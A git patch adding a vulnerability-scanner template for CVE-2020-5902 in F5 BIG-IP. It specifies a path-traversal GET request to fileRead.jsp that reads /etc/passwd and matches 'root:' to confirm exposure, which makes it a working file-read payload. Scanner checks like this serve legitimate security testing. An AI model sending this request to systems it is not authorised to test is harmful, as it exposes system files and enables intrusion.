From 527fb601e31aef4626ea737ed0201b2e3113f7f7 Mon Sep 17 00:00:00 2001
From: "@xer0dayz" <1n3@hushmail.com>
Date: Sun, 5 Jul 2020 10:26:40 -0700
Subject: [PATCH] * v8.6 - Added CVE-2020-5902 F5 BIG-IP RCE sc0pe template

---
 .../CVE-2020-5902_-_F5_BIG-IP_Remote_Code_Execution_2.sh | 9 +++++++++
 1 file changed, 9 insertions(+)
 create mode 100644 templates/active/CVE-2020-5902_-_F5_BIG-IP_Remote_Code_Execution_2.sh

diff --git a/templates/active/CVE-2020-5902_-_F5_BIG-IP_Remote_Code_Execution_2.sh b/templates/active/CVE-2020-5902_-_F5_BIG-IP_Remote_Code_Execution_2.sh
new file mode 100644
index 0000000..32f1c14
--- /dev/null
+++ b/templates/active/CVE-2020-5902_-_F5_BIG-IP_Remote_Code_Execution_2.sh
@@ -0,0 +1,9 @@
+AUTHOR='@xer0dayz'
+VULN_NAME='CVE-2020-5902 - F5 BIG-IP Remote Code Execution 2'
+URI='/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd'
+METHOD='GET'
+MATCH="root\:"
+SEVERITY='P1 - CRITICAL'
+CURL_OPTS="--user-agent '' -s -L --insecure"
+SECONDARY_COMMANDS=''
+GREP_OPTIONS='-i'
\ No newline at end of file